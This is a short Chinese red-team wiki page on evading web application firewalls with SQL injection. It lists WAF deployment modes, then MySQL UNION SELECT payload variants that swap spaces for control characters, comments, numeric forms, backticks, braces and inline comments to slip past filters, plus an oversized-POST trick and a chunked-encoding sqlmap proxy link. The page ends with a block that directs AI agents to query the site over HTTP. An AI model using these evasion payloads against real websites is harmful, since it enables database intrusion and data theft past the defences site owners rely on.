# Bypass Waf

## 0x01WAF部署模式

* DNS解析
* 旁路
* 串联
  * 反向代理模式
  * 透明代理模式
* 软件嵌入中间件 + 检测引擎模式

## **0x02**WAF绕过原理

### 架构

#### MYSQL

**超长数据包BYPASS**

GET型请求转POST型 Content-Length 头长度大于4008 正常参数放置在脏数据后面，否则无效

### 规则缺陷（黑白名单）

#### MYSQL特性

```
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin**

位置①
可利用其他控制字符替换空格：%09,%0a,%0b,%0c,%0d,%20,%a0
可利用注释符号：/**/、#test%0d%0a、 --+a
可利用数学运算以及数据类型：**news_id=1.1，**news_id=1E0，news_id=\N

位置②
可利用其他控制字符替换空格：%09,%0a,%0b,%0c,%0d,%20,%a0。
可利用注释符号：/**/、 #test%0d%0a、 --+a
可利用括号：union(select 1,2)

位置③
可利用其他控制字符替换空格：%09,%0a,%0b,%0c,%0d,%20,%a0
可利用注释符号：/**/、 #test%0d%0a、 --+a
可利用其他符号：+ 、- 、 ~ 、!、@

位置④
可利用其他控制字符替换空格： %09,%0a,%0b,%0c,%0d,%20,%a0
可利用注释符号： /**/、#test%0d%0a、 --+a
可利用数学运算以及数据类型：
union select user(),2.0from admin
union select user(),8e0from admin
union select user(),\Nfrom admin

位置⑤
可利用其他控制字符替换空格： %09,%0a,%0b,%0c,%0d,%20,%a0
可利用注释符号： /**/、#test%0d%0a、--+a
`号：union select 1 schema_name from`information_schema`.SCHEMATA limit 0,1)

内联注释：**union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)
{号： **union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
(号：**union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
```

#### MYSQL

### 协议

{% embed url="<https://www.freebuf.com/news/193659.html>" %}

## 0x03参考

{% embed url="<https://github.com/4rat/sqlmap_chunked_proxy>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.iredteam.cn/vulnerability-attack-stage/bypass-waf/bypass-waf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
